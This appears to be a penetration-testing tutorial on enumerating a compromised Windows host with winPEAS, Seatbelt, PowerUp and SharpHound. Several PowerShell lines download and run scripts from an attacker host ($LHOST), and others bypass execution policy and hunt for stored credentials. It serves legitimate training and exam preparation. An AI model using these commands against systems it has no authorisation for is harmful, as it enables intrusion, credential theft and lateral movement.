Skip to content
HackIndex logo

HackIndex

Windows Post-Exploitation Enumeration Tools

5 min read Jul 14, 2026

Once you have a shell on a Windows target, automated enumeration tools give you the fastest overview of what's available for credential extraction, further privilege escalation, and lateral movement prep. Run these before going manual — they surface paths you would otherwise spend hours finding by hand.

Getting tools onto the target

Most Windows targets in internal networks have no direct internet access. Serve tools from your attack box and pull them down with whatever is available on the target.

┌──(kali㉿kali)-[~]
└─$ # Python HTTP server
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
 
┌──(kali㉿kali)-[~]
└─$ # SMB share (no auth required — for targets that block HTTP)
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share . -smb2support
PS C:\Users\Guest\Desktop> # PowerShell download
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/winpeas.ps1')
 
PS C:\Users\Guest\Desktop> # Download to disk
PS C:\Users\Guest\Desktop> (New-Object Net.WebClient).DownloadFile('http://$LHOST:8080/winPEASx64.exe', 'C:\Windows\Temp\wp.exe')
 
PS C:\Users\Guest\Desktop> # certutil (works on all Windows versions)
PS C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/winPEASx64.exe C:\Windows\Temp\wp.exe
 
PS C:\Users\Guest\Desktop> # Copy from SMB share directly
PS C:\Users\Guest\Desktop> copy \\$LHOST\share\winPEASx64.exe C:\Windows\Temp\wp.exe

The most complete Windows enumeration script available. Covers credentials, services, registry misconfigurations, scheduled tasks, network information, tokens, and more in a single run. Start here on every engagement.

Two versions exist: the executable (winPEASx64.exe / winPEASx86.exe) and a PowerShell script (winPeas.ps1). The executable gives coloured output and is more complete. Use the PowerShell version when execution policy or AV blocks the binary.

PS C:\Users\Guest\Desktop> # Full run — save output for review
PS C:\Users\Guest\Desktop> C:\Windows\Temp\wp.exe | Out-File C:\Windows\Temp\wp_out.txt
 
PS C:\Users\Guest\Desktop> # Run and show in terminal
PS C:\Users\Guest\Desktop> C:\Windows\Temp\wp.exe
 
PS C:\Users\Guest\Desktop> # Run specific category only (faster)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\wp.exe systeminfo
PS C:\Users\Guest\Desktop> C:\Windows\Temp\wp.exe windowscreds
PS C:\Users\Guest\Desktop> C:\Windows\Temp\wp.exe servicesinfo
PS C:\Users\Guest\Desktop> # Bypass execution policy for this session
PS C:\Users\Guest\Desktop> Set-ExecutionPolicy Bypass -Scope Process -Force
 
PS C:\Users\Guest\Desktop> # Load and run from disk
PS C:\Users\Guest\Desktop> . .\winPeas.ps1
 
PS C:\Users\Guest\Desktop> # Or load and run from memory (if internet access available)
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/winPeas.ps1')

Interpreting winPEAS output:

  • Red/yellow highlighted lines are critical. These are the findings to act on first.

  • Focus on: stored credentials, SeImpersonatePrivilege, unquoted service paths, writable service binaries, AlwaysInstallElevated registry keys, autologon credentials, and scheduled tasks running as SYSTEM.

  • Ignore informational output (blue/cyan) unless you have exhausted all red findings.

Notice

winPEAS enumerates only. It does not exploit. Allowed on OSCP and most certification exams.

Seatbelt

A C# enumeration tool from GhostPack that runs targeted security checks. More surgical than winPEAS — useful when you already know what to look for or want clean structured output without the noise.

PS C:\Users\Guest\Desktop> # Full run — all checks
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe -group=all
 
PS C:\Users\Guest\Desktop> # Specific groups relevant to post-exploitation
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe -group=user
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe -group=system
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe -group=misc
 
PS C:\Users\Guest\Desktop> # Specific checks
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe CredEnum
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe WindowsCredentialFiles
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe TokenPrivileges
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe PowerShellHistory
 
PS C:\Users\Guest\Desktop> # Save output
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Seatbelt.exe -group=all > C:\Windows\Temp\seatbelt_out.txt

Key Seatbelt checks for post-exploitation: CredEnum (stored credentials), WindowsCredentialFiles (credential manager files), TokenPrivileges (dangerous token privileges), PowerShellHistory (commands with passwords), InterestingProcesses (AV, EDR processes running), and SavedRDPConnections (RDP targets previously accessed).

PowerUp

PowerShell script focused entirely on privilege escalation vectors. Useful for a quick targeted pass when you only care about privesc paths rather than full post-ex enumeration.

PS C:\Users\Guest\Desktop> Set-ExecutionPolicy Bypass -Scope Process -Force
PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
 
PS C:\Users\Guest\Desktop> # Run all checks
PS C:\Users\Guest\Desktop> Invoke-AllChecks
 
PS C:\Users\Guest\Desktop> # Specific checks
PS C:\Users\Guest\Desktop> Get-UnquotedService
PS C:\Users\Guest\Desktop> Get-ModifiableServiceFile
PS C:\Users\Guest\Desktop> Get-ModifiableService
PS C:\Users\Guest\Desktop> Get-RegistryAlwaysInstallElevated
PS C:\Users\Guest\Desktop> Get-RegistryAutoLogon

SharpHound (Active Directory environments)

If the target is domain-joined, SharpHound collects AD relationship data and feeds BloodHound for attack path analysis. Run this as soon as you have a foothold in a domain environment — it maps every privilege delegation, group membership, and trust path in the domain.

PS C:\Users\Guest\Desktop> # Full collection
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c All
 
PS C:\Users\Guest\Desktop> # Stealth collection — fewer queries, slower
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c All --stealth
 
PS C:\Users\Guest\Desktop> # Collect and output to specific path
PS C:\Users\Guest\Desktop> C:\Windows\Temp\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\bh
 
PS C:\Users\Guest\Desktop> # PowerShell version (no binary needed)
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/SharpHound.ps1')
PS C:\Users\Guest\Desktop> Invoke-BloodHound -CollectionMethod All

SharpHound outputs a ZIP file. Transfer it to your attack box and load it into BloodHound. Use the pre-built queries: Shortest Paths to Domain Admins and Find Principals with DCSync Rights first.

For the full credential harvesting and token collection workflow see Windows Token and Credential Harvesting. For privilege escalation paths found during enumeration see Windows Privilege Escalation.

References